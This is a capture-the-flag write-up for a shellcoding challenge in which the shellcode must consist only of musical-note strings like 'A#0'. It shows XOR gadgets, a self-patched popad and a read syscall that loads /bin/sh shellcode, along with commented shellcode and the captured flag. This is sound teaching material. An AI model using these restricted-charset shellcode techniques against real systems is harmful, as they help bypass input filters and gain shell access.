full script @ https://gist.github.com/64c8198d87ca34cc326fc83ce6190670
This is a shellcoding challenge, reversing the binary reveals that the shellcode must be a sequence of notes. A note is a string of the form A0 or A#0, where A can be any letter between A and G and 0 is a digit between 0 and 9.
The shellcode is mapped at the fixed address 0x60606000 (RWX segment), and an `int 80h` is appended at the end that we do not needto generate ourselves. Registers are cleared with exception of ESI, EDI, ESP which all point to the stack and ECX which is set to 1.
# ideaEnumerating possible opcodes shows that we can control EAX quite well, with the following opcodes:
- 4A   xor al,0x41        (and variants with B,C,... for 0x42,0x43,...)- 3F0  xor eax,[esi+0x30] (and variants with #,1,2,... for +0x23,+0x31,+0x32,...) [and with edi using G instead of F]- 1F0  xor [esi+0x30],eax (and variants with #,1,2,... for +0x23,+0x31,+0x32,...) [and with edi using G instead of F]- 0F0  xor [esi+0x30],al  (and variants with #,1,2,... for +0x23,+0x31,+0x32,...) [and with edi using G instead of F]
For padding, we can use 'A' (inc ecx) if we want to use an opcode that starts with a number or '6' (ss prefix) to use an opcode that ends with a letter.
When the shellcode starts, the stack is already filled with a repeating 0x4f4f4f4f ('OOOO') and a 0x2d2d2d2d ('----') pattern. If we xor those together, we get 0x62626262, which is close to the base of the shellcode page. We can fix it up by setting AL to 0x2 or 0x1 and xoring it into that bytewise, so we end up with 0x60606160.
After we have control of EAX, we use it to patch a single byte into the shellcode: a popad. With popad, we can then fully control every register just by setting up the stack correctly, which is possible with our EAX gadgets.For patching the shellcode, the following additional primitives are needed:
- #8    and edi,[eax]             used to clear EDI by ANDing it with two values a,b such that a & b == 0- 0D8A  xor [eax+edi*1+0x41],al   to perform the write
After that, we can use our existing stack -> EAX and EAX -> stack gadgets to setup the stack for a read syscall.`read` then loads a /bin/sh shellcode to the RWX segment to spawn a shell.
# commented shellcode
```; load RAX with 0x4f4f4f4f from stackA3 F0; xor the next 16 stack bytes with EAX (4 xors); gives 16 byte of cleared stack space, needed laterA       1G0G6G6G6G 1G0G6G6G6G 1G0G6G6G6G 1G0; now xor rax into 0x2f2f2f2f which is the the next value on the stackG6G6G6G 1G0; clear EAX"A3", "F#6", ; load 2 into ALA 4A6 A 4C6; xor AL into 0x62626262's bytesA 0G0A 0G2A 0G3; load 1 into ALA 4B 4C6; xor AL into the third byte of our 0x60.. address"A0", "G1",; clear EAXA 4A 4B6 ; load EAX with 0x60606160 (the address we built on the stack)A 3G0;; now EAX is 0x60606160, an address in the shellcode page
; clear EDI (first and)A #8; increment EAX (set AL to 0x61)A 4B 4C 6; clear EDI (second and)A #8; set AL to 0x20 (0x20 ^ 0x41 (the pad value) = 0x61 (popad))A 4A6; apply patchA 0D8A6; setup stack for popad; (this works because stack space was cleared above so we can use XOR to write values to stack)F6F6F6F 1F0     ; EDX = EAX (count)F6F6F6F 1F0     ; ECX = EAX (read target) A 3F0  A 4A 4B6 ; set EAX to 3F6F6F6F 1F0     ; EAX = EAX (syscall number); increment stack pointer so that popad pops correct values+ padding"D6" * 32; padding (it is important that 'A' & '6' = 0x0 to clear EDI above)"A6" * 400```
OOO{1f_U_Ar3_r34d1n6_7h15_y0u_4r3_7h3_m0z4rT_0f_1nf053c_Ch33rs2MP!}